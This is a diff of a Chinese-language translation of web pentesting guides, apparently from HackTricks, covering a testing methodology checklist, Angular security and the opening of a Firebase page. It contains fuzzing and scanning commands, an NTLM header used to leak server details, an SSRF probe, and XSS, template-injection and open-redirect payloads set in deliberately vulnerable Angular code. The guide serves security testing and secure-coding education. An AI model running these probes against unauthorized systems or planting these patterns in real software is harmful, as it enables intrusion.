||||
- [ ] 一旦你**识别**了所有可能接受**用户输入**的**端点**,检查与之相关的各种**漏洞**。
|
||||
- [ ] [遵循此检查表](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## Server Version (Vulnerable?)
|
||||
|
||||
@ -98,19 +98,19 @@ webanalyze -host https://google.com -crawl 2
|
||||
- [**Wordpress**](wordpress.md)
|
||||
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
|
||||
|
||||
_请注意,**同一域名**可能在不同的 **端口**、**文件夹**和 **子域名**中使用 **不同的技术**。_\
|
||||
如果 web 应用程序使用了之前列出的任何知名 **技术/平台**或 **其他**,请不要忘记 **在互联网上搜索** 新的技巧(并告诉我!)。
|
||||
_请注意,**同一域**可能在不同的**端口**、**文件夹**和**子域**中使用**不同的技术**。_\
|
||||
如果 web 应用程序使用了之前列出的任何知名 **技术/平台** 或 **其他**,请不要忘记 **在互联网上搜索** 新的技巧(并告诉我!)。
|
||||
|
||||
### 源代码审查
|
||||
|
||||
如果应用程序的 **源代码** 在 **github** 上可用,除了进行 **自己的白盒测试** 外,还有 **一些信息** 可能对当前的 **黑盒测试** **有用**:
|
||||
|
||||
- 是否有 **变更日志或 Readme 或版本** 文件或任何可以通过网络访问的 **版本信息**?
|
||||
- **凭据** 是如何保存的?是否有任何(可访问的?) **文件** 包含凭据(用户名或密码)?
|
||||
- 是否有 **变更日志或 Readme 或版本** 文件或任何带有 **版本信息的可访问** 的网页?
|
||||
- **凭据** 是如何保存的?是否有任何(可访问的?)**文件** 包含凭据(用户名或密码)?
|
||||
- **密码** 是 **明文**、**加密** 还是使用了哪种 **哈希算法**?
|
||||
- 是否使用了任何 **主密钥** 来加密某些内容?使用了哪种 **算法**?
|
||||
- 你能否通过利用某个漏洞 **访问这些文件**?
|
||||
- 在 **github** 上是否有任何 **有趣的信息**(已解决和未解决的) **问题**?或者在 **提交历史** 中(也许某个 **旧提交** 中引入的 **密码**)?
|
||||
- 在 **github** 上是否有任何 **有趣的信息**(已解决和未解决的) **问题**?或者在 **提交历史** 中(也许某个 **旧提交中引入的密码**)?
|
||||
|
||||
{{#ref}}
|
||||
code-review-tools.md
|
||||
@ -164,7 +164,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
|
||||
**强制错误**
|
||||
|
||||
当向Web服务器发送奇怪的数据时,可能会**表现出意外行为**。这可能会打开**漏洞**或**泄露敏感信息**。
|
||||
当向Web服务器发送奇怪的数据时,Web服务器可能会**表现异常**。这可能会打开**漏洞**或**泄露敏感信息**。
|
||||
|
||||
- 访问**假页面**如 /whatever_fake.php (.aspx,.html,.etc)
|
||||
- 在**cookie值**和**参数**值中**添加 "\[]", "]]", 和 "\[\["**以创建错误
|
||||
@ -176,14 +176,14 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
如果您发现**WebDav**已**启用**但您没有足够的权限在根文件夹中**上传文件**,请尝试:
|
||||
|
||||
- **暴力破解**凭据
|
||||
- 通过WebDav将**文件上传**到网页中**找到的其他文件夹**。您可能有权限在其他文件夹中上传文件。
|
||||
- 通过WebDav将**文件上传**到网页内**找到的其他文件夹**。您可能有权限在其他文件夹中上传文件。
|
||||
|
||||
### **SSL/TLS漏洞**
|
||||
|
||||
- 如果应用程序在任何部分**不强制用户使用HTTPS**,那么它**容易受到中间人攻击(MitM)**
|
||||
- 如果应用程序**使用HTTP发送敏感数据(密码)**,那么这是一个高风险漏洞。
|
||||
|
||||
使用[**testssl.sh**](https://github.com/drwetter/testssl.sh)检查**漏洞**(在漏洞赏金计划中,这类漏洞可能不会被接受),并使用[**a2sv**](https://github.com/hahwul/a2sv)重新检查漏洞:
|
||||
使用 [**testssl.sh**](https://github.com/drwetter/testssl.sh) 检查**漏洞**(在漏洞赏金计划中,这类漏洞可能不会被接受),并使用 [**a2sv** ](https://github.com/hahwul/a2sv) 重新检查漏洞:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
@ -205,25 +205,25 @@ sslyze --regular <ip:port>
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML爬虫,带有JS文件的LinkFinder和Archive.org作为外部来源。
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML爬虫,也指示“美味文件”。
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): 交互式CLI HTML爬虫。它还在Archive.org中搜索。
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): 这个工具不是爬虫,但它可能有用。您只需指示一个包含主机的文件和一个包含路径的文件,meg将获取每个主机上的每个路径并保存响应。
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): 该工具不是爬虫,但可能有用。您只需指示一个包含主机的文件和一个包含路径的文件,meg将获取每个主机上的每个路径并保存响应。
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): 具有JS渲染能力的HTML爬虫。然而,它似乎没有维护,预编译版本较旧,当前代码无法编译。
|
||||
- [**gau**](https://github.com/lc/gau) (go): 使用外部提供者(wayback, otx, commoncrawl)的HTML爬虫。
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 这个脚本将找到带参数的URL并列出它们。
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 该脚本将找到带参数的URL并列出它们。
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): 具有JS渲染能力的HTML爬虫。
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML爬虫,具有JS美化能力,能够在JS文件中搜索新路径。查看[JSScanner](https://github.com/dark-warlord14/JSScanner)也可能值得一看,它是LinkFinder的一个包装器。
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): 从HTML源和嵌入的JavaScript文件中提取端点。对漏洞猎人、红队员、信息安全专家有用。
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 一个使用Tornado和JSBeautifier解析JavaScript文件中相对URL的Python 2.7脚本。对轻松发现AJAX请求很有用。看起来没有维护。
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 一个使用Tornado和JSBeautifier从JavaScript文件中解析相对URL的Python 2.7脚本。对轻松发现AJAX请求很有用。看起来没有维护。
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 给定一个文件(HTML),它将使用巧妙的正则表达式从丑陋(压缩)文件中提取相对URL。
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, 多个工具): 使用多个工具从JS文件中收集有趣的信息。
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): 查找JS文件。
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): 在无头浏览器中加载页面并打印出加载页面的所有URL。
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 内容发现工具,结合了前面工具的多个选项。
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 内容发现工具,结合了前面几个工具的多个选项。
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 一个Burp扩展,用于查找JS文件中的路径和参数。
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): 一个工具,给定.js.map URL将获取美化的JS代码。
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 这是一个用于发现给定目标的端点的工具。
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** 从时光机发现链接(还下载时光机中的响应并寻找更多链接)。
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 爬取(甚至通过填写表单)并使用特定正则表达式查找敏感信息。
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite是一个高级多功能GUI网络安全爬虫/蜘蛛,专为网络安全专业人员设计。
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite是一个高级多功能GUI网络安全爬虫/爬虫,专为网络安全专业人员设计。
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): 这是一个Go包和[命令行工具](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice),用于从JavaScript源代码中提取URL、路径、秘密和其他有趣的数据。
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge是一个简单的**Burp Suite扩展**,用于**提取请求中的参数和端点**以创建自定义字典进行模糊测试和枚举。
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): 这个工具很棒。
|
||||
@ -240,8 +240,8 @@ sslyze --regular <ip:port>
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 快速,支持递归搜索。**
|
||||
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- 快速: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): 这不是一个爬虫,而是一个工具,给定找到的URL列表将删除“重复”的URL。
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp扩展,从不同页面的burp历史中创建目录列表。
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): 这不是一个爬虫,而是一个工具,给定找到的URL列表,将删除“重复”的URL。
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp扩展,用于从不同页面的burp历史记录中创建目录列表。
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 删除具有重复功能的URL(基于js导入)。
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): 它使用wapalyzer检测使用的技术并选择要使用的字典。
|
||||
|
||||
@ -268,18 +268,18 @@ _注意,在暴力破解或爬虫过程中发现新目录时,应进行暴力
|
||||
|
||||
### 检查每个找到的文件
|
||||
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 查找HTML中可能容易被接管的断开链接。
|
||||
- **文件备份**: 一旦找到所有文件,查找所有可执行文件的备份("_.php_", "_.aspx_"...)。备份命名的常见变体有:_file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp和file.old._ 您还可以使用工具[**bfac**](https://github.com/mazen160/bfac) **或** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 查找HTML中的断链,可能容易被接管。
|
||||
- **文件备份**: 一旦找到所有文件,查找所有可执行文件的备份("_.php_", "_.aspx_"...)。备份命名的常见变体有:_file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp 和 file.old._ 您还可以使用工具[**bfac**](https://github.com/mazen160/bfac) **或** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
- **发现新参数**: 您可以使用工具如[**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **和** [**Param Miner**](https://github.com/PortSwigger/param-miner) **来发现隐藏参数。如果可以,您可以尝试在每个可执行的Web文件中搜索**隐藏参数。
|
||||
- _Arjun所有默认字典:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
- **评论:** 检查所有文件的评论,您可以找到**凭据**或**隐藏功能**。
|
||||
- 如果您在进行**CTF**,一个“常见”技巧是**隐藏** **信息**在页面的**右侧**的评论中(使用**数百个** **空格**,以便在使用浏览器打开源代码时看不到数据)。另一种可能性是在网页的**底部**使用**多个新行**并在评论中**隐藏信息**。
|
||||
- 如果您在进行**CTF**,一个“常见”的技巧是**隐藏** **信息**在页面的**右侧**的评论中(使用**数百个** **空格**,以便在使用浏览器打开源代码时看不到数据)。另一种可能性是在网页的**底部**使用**多个新行**并在评论中**隐藏信息**。
|
||||
- **API密钥**: 如果您**找到任何API密钥**,有指南指示如何使用不同平台的API密钥:[**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google API密钥: 如果您找到任何看起来像**AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik的API密钥,您可以使用项目[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)来检查该密钥可以访问哪些API。
|
||||
- **S3存储桶**: 在爬虫过程中查看是否有任何**子域**或任何**链接**与某些**S3存储桶**相关。在这种情况下,[**检查**存储桶的**权限**](buckets/index.html)。
|
||||
- **S3存储桶**: 在爬虫时查看是否有任何**子域**或任何**链接**与某些**S3存储桶**相关。在这种情况下,[**检查**存储桶的**权限**](buckets/index.html)。
|
||||
|
||||
### 特殊发现
|
||||
|
||||
@ -308,15 +308,15 @@ _注意,在暴力破解或爬虫过程中发现新目录时,应进行暴力
|
||||
|
||||
**502 Proxy Error**
|
||||
|
||||
如果任何页面**响应**该**代码**,它可能是一个**配置错误的代理**。**如果您发送HTTP请求,如:`GET https://google.com HTTP/1.1`**(带有主机头和其他常见头),**代理**将尝试**访问** _**google.com**_ **,您将发现一个** SSRF。
|
||||
如果任何页面**响应**该**代码**,它可能是一个**配置错误的代理**。**如果您发送一个HTTP请求,如:`GET https://google.com HTTP/1.1`**(带有主机头和其他常见头),**代理**将尝试**访问** _**google.com**_ **,您将发现一个** SSRF。
|
||||
|
||||
**NTLM认证 - 信息泄露**
|
||||
|
||||
如果运行的服务器要求身份验证是**Windows**或您发现一个登录请求您的**凭据**(并要求**域名**),您可以引发**信息泄露**。\
|
||||
**发送**头部:`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`,由于**NTLM认证的工作方式**,服务器将响应内部信息(IIS版本,Windows版本...)在头部"WWW-Authenticate"中。\
|
||||
您可以使用**nmap插件**"_http-ntlm-info.nse_"来**自动化**此过程。
|
||||
**发送**头:`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`,由于**NTLM认证的工作原理**,服务器将响应内部信息(IIS版本,Windows版本...)在“WWW-Authenticate”头中。\
|
||||
您可以使用**nmap插件** "_http-ntlm-info.nse_" 来自动化此过程。
|
||||
|
||||
**HTTP重定向 (CTF)**
|
||||
**HTTP重定向(CTF)**
|
||||
|
||||
可以在**重定向**中**放置内容**。这些内容**不会显示给用户**(因为浏览器将执行重定向),但其中可能**隐藏**某些内容。
|
||||
|
||||
|
@ -4,13 +4,13 @@
|
||||
|
||||
Checklist [from here](https://lsgeurope.com/post/angular-security-checklist).
|
||||
|
||||
* [ ] Angular被认为是一个客户端框架,不期望提供服务器端保护
|
||||
* [ ] Angular被视为客户端框架,不期望提供服务器端保护
|
||||
* [ ] 项目配置中禁用了脚本的源映射
|
||||
* [ ] 不可信的用户输入在用于模板之前始终被插值或清理
|
||||
* [ ] 用户无法控制服务器端或客户端模板
|
||||
* [ ] 不可信的用户输入在被应用程序信任之前,使用适当的安全上下文进行清理
|
||||
* [ ] 不使用不可信输入的`BypassSecurity*`方法
|
||||
* [ ] 不可信的用户输入不会传递给Angular类,如`ElementRef`、`Renderer2`和`Document`,或其他JQuery/DOM接收器
|
||||
* [ ] 不可信的用户输入不传递给Angular类,如`ElementRef`、`Renderer2`和`Document`,或其他JQuery/DOM接收器
|
||||
|
||||
## What is Angular
|
||||
|
||||
@ -41,11 +41,11 @@ my-workspace/
|
||||
```
|
||||
根据文档,每个 Angular 应用程序至少有一个组件,即根组件 (`AppComponent`),它将组件层次结构与 DOM 连接。每个组件定义一个包含应用程序数据和逻辑的类,并与定义要在目标环境中显示的视图的 HTML 模板相关联。`@Component()` 装饰器将其下方的类标识为组件,并提供模板和相关的组件特定元数据。`AppComponent` 在 `app.component.ts` 文件中定义。
|
||||
|
||||
Angular NgModules 声明一个编译上下文,用于一组专门针对应用程序域、工作流或紧密相关功能的组件。每个 Angular 应用程序都有一个根模块,通常命名为 `AppModule`,它提供启动机制以启动应用程序。一个应用程序通常包含多个功能模块。`AppModule` 在 `app.module.ts` 文件中定义。
|
||||
Angular NgModules 声明一个编译上下文,用于一组专用于应用程序域、工作流或紧密相关功能的组件。每个 Angular 应用程序都有一个根模块,通常命名为 `AppModule`,它提供启动机制以启动应用程序。一个应用程序通常包含多个功能模块。`AppModule` 在 `app.module.ts` 文件中定义。
|
||||
|
||||
Angular `Router` NgModule 提供了一项服务,让您可以定义应用程序中不同状态和视图层次结构之间的导航路径。`RouterModule` 在 `app-routing.module.ts` 文件中定义。
|
||||
Angular `Router` NgModule 提供一个服务,让您可以在应用程序的不同状态和视图层次结构之间定义导航路径。`RouterModule` 在 `app-routing.module.ts` 文件中定义。
|
||||
|
||||
对于不与特定视图相关联且希望在组件之间共享的数据或逻辑,您可以创建一个服务类。服务类定义前面会有 `@Injectable()` 装饰器。该装饰器提供元数据,允许其他提供者作为依赖项注入到您的类中。依赖注入 (DI) 使您能够保持组件类的精简和高效。它们不会从服务器获取数据、验证用户输入或直接记录到控制台;它们将此类任务委托给服务。
|
||||
对于不与特定视图相关联的数据或逻辑,并且您希望在组件之间共享的,您可以创建一个服务类。服务类定义前面会有 `@Injectable()` 装饰器。该装饰器提供元数据,允许其他提供者作为依赖项注入到您的类中。依赖注入 (DI) 使您能够保持组件类的精简和高效。它们不会从服务器获取数据、验证用户输入或直接记录到控制台;它们将此类任务委托给服务。
|
||||
|
||||
## Sourcemap 配置
|
||||
|
||||
@ -60,7 +60,7 @@ Angular 框架通过遵循 `tsconfig.json` 选项将 TypeScript 文件转换为
|
||||
```
|
||||
一般来说,sourcemap 文件用于调试目的,因为它们将生成的文件映射到其原始文件。因此,不建议在生产环境中使用它们。如果启用 sourcemaps,它可以提高可读性并通过复制 Angular 项目的原始状态来帮助文件分析。然而,如果它们被禁用,审查者仍然可以通过搜索反安全模式手动分析编译后的 JavaScript 文件。
|
||||
|
||||
此外,带有 Angular 项目的编译 JavaScript 文件可以在浏览器开发者工具 → Sources(或 Debugger 和 Sources)→ \[id].main.js 中找到。根据启用的选项,该文件的末尾可能包含以下行 `//# sourceMappingURL=[id].main.js.map`,或者如果 **hidden** 选项设置为 **true**,则可能不包含。然而,如果 **scripts** 的 sourcemap 被禁用,测试变得更加复杂,我们无法获取该文件。此外,sourcemap 可以在项目构建期间启用,例如 `ng build --source-map`。
|
||||
此外,带有 Angular 项目的编译 JavaScript 文件可以在浏览器开发者工具 → Sources(或 Debugger 和 Sources)→ \[id].main.js 中找到。根据启用的选项,该文件末尾可能包含以下行 `//# sourceMappingURL=[id].main.js.map`,或者如果 **hidden** 选项设置为 **true**,则可能不包含。然而,如果 **scripts** 的 sourcemap 被禁用,测试变得更加复杂,我们无法获取该文件。此外,sourcemap 可以在项目构建期间启用,例如 `ng build --source-map`。
|
||||
|
||||
## 数据绑定
|
||||
|
||||
@ -117,7 +117,7 @@ test = "<script>alert(1)</script><h1>test</h1>";
|
||||
* `STYLE` 在将 CSS 绑定到 `style` 属性时使用;
|
||||
* `URL` 用于 URL 属性,例如 `<a href>`;
|
||||
* `SCRIPT` 用于 JavaScript 代码;
|
||||
* `RESOURCE_URL` 作为加载并作为代码执行的 URL,例如,在 `<script src>` 中。
|
||||
* `RESOURCE_URL` 作为加载并作为代码执行的 URL,例如在 `<script src>` 中。
|
||||
|
||||
## 漏洞
|
||||
|
||||
@ -216,9 +216,9 @@ test = "<script>alert(1)</script><h1>test</h1>";
|
||||
|
||||
#### 客户端渲染 (CSR)
|
||||
|
||||
Angular 利用模板动态构建页面。该方法涉及将模板表达式放在双大括号内 (`{{}}`) 以供 Angular 评估。通过这种方式,框架提供了额外的功能。例如,模板 `{{1+1}}` 将显示为 2。
|
||||
Angular 利用模板动态构建页面。该方法涉及将模板表达式用双大括号 (`{{}}`) 包围,以便 Angular 进行评估。通过这种方式,框架提供了额外的功能。例如,模板 `{{1+1}}` 将显示为 2。
|
||||
|
||||
通常,Angular 会转义可能与模板表达式混淆的用户输入(例如,字符如 \`< > ' " \`\)。这意味着需要额外的步骤来绕过此限制,例如利用生成 JavaScript 字符串对象的函数,以避免使用黑名单字符。然而,要实现这一点,我们必须考虑 Angular 的上下文、其属性和变量。因此,模板注入攻击可能如下所示:
|
||||
通常,Angular 会转义可能与模板表达式混淆的用户输入(例如,字符如 \`< > ' " \`\)。这意味着需要额外的步骤来绕过此限制,例如利用生成 JavaScript 字符串对象的函数,以避免使用黑名单字符。然而,要实现这一点,我们必须考虑 Angular 的上下文、属性和变量。因此,模板注入攻击可能如下所示:
|
||||
```jsx
|
||||
//app.component.ts
|
||||
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
|
||||
@ -231,7 +231,7 @@ template: '<h1>title</h1>' + _userInput
|
||||
|
||||
#### 服务器端渲染 (SSR)
|
||||
|
||||
与在浏览器的DOM中发生的CSR不同,Angular Universal负责模板文件的SSR。这些文件随后被传递给用户。尽管有这种区别,Angular Universal仍然应用与CSR相同的清理机制来增强SSR的安全性。在SSR中发现模板注入漏洞的方法与CSR相同,因为使用的模板语言是相同的。
|
||||
与在浏览器的DOM中发生的CSR不同,Angular Universal负责模板文件的SSR。这些文件随后被传递给用户。尽管有这种区别,Angular Universal仍然应用与CSR相同的清理机制来增强SSR的安全性。SSR中的模板注入漏洞可以以与CSR相同的方式被发现,因为使用的模板语言是相同的。
|
||||
|
||||
当然,在使用第三方模板引擎如Pug和Handlebars时,也有可能引入新的模板注入漏洞。
|
||||
|
||||
@ -292,9 +292,9 @@ document.body.appendChild(a);
|
||||
```
|
||||
#### Angular 类
|
||||
|
||||
在 Angular 中,有一些类可以用于处理 DOM 元素:`ElementRef`、`Renderer2`、`Location` 和 `Document`。关于后两个类的详细描述在 **Open redirects** 部分中给出。前两个类的主要区别在于 `Renderer2` API 提供了一个在 DOM 元素和组件代码之间的抽象层,而 `ElementRef` 仅仅持有对元素的引用。因此,根据 Angular 文档,`ElementRef` API 应仅在需要直接访问 DOM 时作为最后的手段使用。
|
||||
在 Angular 中,有一些类可以用于处理 DOM 元素:`ElementRef`、`Renderer2`、`Location` 和 `Document`。关于后两个类的详细描述在 **Open redirects** 部分中给出。前两个类的主要区别在于 `Renderer2` API 提供了一个在 DOM 元素和组件代码之间的抽象层,而 `ElementRef` 仅持有对元素的引用。因此,根据 Angular 文档,`ElementRef` API 应仅在需要直接访问 DOM 时作为最后的手段使用。
|
||||
|
||||
* `ElementRef` 包含属性 `nativeElement`,可以用于操作 DOM 元素。然而,不当使用 `nativeElement` 可能导致 XSS 注入漏洞,如下所示:
|
||||
* `ElementRef` 包含属性 `nativeElement`,可用于操作 DOM 元素。然而,不当使用 `nativeElement` 可能导致 XSS 注入漏洞,如下所示:
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -315,7 +315,7 @@ this.elementRef.nativeElement.appendChild(s);
|
||||
}
|
||||
}
|
||||
```
|
||||
* 尽管 `Renderer2` 提供的 API 可以安全使用,即使在不支持直接访问本地元素的情况下,它仍然存在一些安全缺陷。使用 `Renderer2`,可以通过 `setAttribute()` 方法在 HTML 元素上设置属性,但该方法没有 XSS 预防机制。
|
||||
* 尽管 `Renderer2` 提供的 API 可以安全使用,即使在不支持直接访问本地元素的情况下,它仍然存在一些安全缺陷。使用 `Renderer2`,可以使用 `setAttribute()` 方法在 HTML 元素上设置属性,该方法没有 XSS 预防机制。
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -371,7 +371,7 @@ this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 oner
|
||||
<button (click)="setProperty()">Click me!</button>
|
||||
```
|
||||
|
||||
在我们的研究中,我们还检查了其他 `Renderer2` 方法的行为,例如 `setStyle()`、`createComment()` 和 `setValue()`,与 XSS 和 CSS 注入的关系。然而,由于这些方法的功能限制,我们未能找到有效的攻击向量。
|
||||
在我们的研究中,我们还检查了其他 `Renderer2` 方法的行为,例如 `setStyle()`、`createComment()` 和 `setValue()`,与 XSS 和 CSS 注入的关系。然而,由于它们的功能限制,我们未能找到这些方法的有效攻击向量。
|
||||
|
||||
#### jQuery
|
||||
|
||||
@ -410,7 +410,7 @@ $("p").html("<script>alert(1)</script>");
|
||||
jQuery.parseHTML(data [, context ] [, keepScripts ])
|
||||
```
|
||||
|
||||
如前所述,大多数接受 HTML 字符串的 jQuery API 将运行包含在 HTML 中的脚本。`jQuery.parseHTML()` 方法不会在解析的 HTML 中运行脚本,除非 `keepScripts` 显式为 `true`。然而,在大多数环境中,仍然可以间接执行脚本;例如,通过 `<img onerror>` 属性。
|
||||
如前所述,大多数接受 HTML 字符串的 jQuery API 将运行包含在 HTML 中的脚本。`jQuery.parseHTML()` 方法不会运行解析 HTML 中的脚本,除非 `keepScripts` 显式为 `true`。然而,在大多数环境中,仍然可以间接执行脚本;例如,通过 `<img onerror>` 属性。
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -450,7 +450,7 @@ $palias.append(html);
|
||||
|
||||
* `window.location.href`(和 `document.location.href`)
|
||||
|
||||
获取当前 DOM 位置对象的规范方法是使用 `window.location`。它也可以用于将浏览器重定向到新页面。因此,控制该对象使我们能够利用开放重定向漏洞。
|
||||
获取当前 DOM 位置对象的规范方法是使用 `window.location`。它也可以用于将浏览器重定向到新页面。因此,控制此对象使我们能够利用开放重定向漏洞。
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -468,7 +468,7 @@ window.location.href = "https://google.com/about"
|
||||
以下场景的利用过程是相同的。
|
||||
* `window.location.assign()`(和 `document.location.assign()`)
|
||||
|
||||
该方法使窗口加载并显示指定 URL 的文档。如果我们控制该方法,它可能是开放重定向攻击的一个入口。
|
||||
此方法使窗口加载并显示指定 URL 的文档。如果我们控制此方法,它可能是开放重定向攻击的一个入口。
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -481,9 +481,9 @@ window.location.assign("https://google.com/about")
|
||||
```
|
||||
* `window.location.replace()`(和 `document.location.replace()`)
|
||||
|
||||
该方法用提供的 URL 替换当前资源。
|
||||
此方法用提供的 URL 替换当前资源。
|
||||
|
||||
与 `assign()` 方法的不同之处在于,使用 `window.location.replace()` 后,当前页面不会保存在会话历史中。然而,当我们控制该方法时,也可以利用开放重定向漏洞。
|
||||
与 `assign()` 方法的不同之处在于,使用 `window.location.replace()` 后,当前页面不会保存在会话历史中。然而,当我们控制此方法时,也可以利用开放重定向漏洞。
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -496,7 +496,7 @@ window.location.replace("http://google.com/about")
|
||||
```
|
||||
* `window.open()`
|
||||
|
||||
`window.open()` 方法接受一个 URL,并将其识别的资源加载到新标签或窗口中。控制该方法也可能是触发 XSS 或开放重定向漏洞的机会。
|
||||
`window.open()` 方法接受一个 URL,并将其识别的资源加载到新标签或现有标签中。控制此方法也可能是触发 XSS 或开放重定向漏洞的机会。
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -510,7 +510,7 @@ window.open("https://google.com/about", "_blank")
|
||||
|
||||
#### Angular 类
|
||||
|
||||
* 根据 Angular 文档,Angular `Document` 与 DOM 文档相同,这意味着可以使用常见的向量来利用 Angular 中的客户端漏洞。`Document.location` 属性和方法可能是成功的开放重定向攻击的入口,如下例所示:
|
||||
* 根据 Angular 文档,Angular `Document` 与 DOM 文档相同,这意味着可以使用常见的向量来利用 Angular 中的客户端漏洞。`Document.location` 属性和方法可能是成功开放重定向攻击的入口,如下例所示:
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -533,7 +533,7 @@ this.document.location.href = 'https://google.com/about';
|
||||
//app.component.html
|
||||
<button type="button" (click)="goToUrl()">Click me!</button>
|
||||
```
|
||||
* 在研究阶段,我们还审查了 Angular `Location` 类的开放重定向漏洞,但未发现有效的向量。`Location` 是一个 Angular 服务,应用程序可以使用它与浏览器的当前 URL 进行交互。该服务有几个方法来操作给定的 URL - `go()`、`replaceState()` 和 `prepareExternalUrl()`。然而,我们无法使用它们进行外部域的重定向。例如:
|
||||
* 在研究阶段,我们还审查了 Angular `Location` 类的开放重定向漏洞,但未发现有效向量。`Location` 是一个 Angular 服务,应用程序可以用来与浏览器的当前 URL 进行交互。该服务有几个方法来操作给定的 URL - `go()`、`replaceState()` 和 `prepareExternalUrl()`。然而,我们无法使用它们进行重定向到外部域。例如:
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## 什么是 Firebase
|
||||
|
||||
Firebase 是一种主要用于移动应用的后端即服务。它专注于消除编程后端的负担,提供了一个良好的 SDK 以及许多其他有趣的功能,方便应用与后端之间的交互。
|
||||
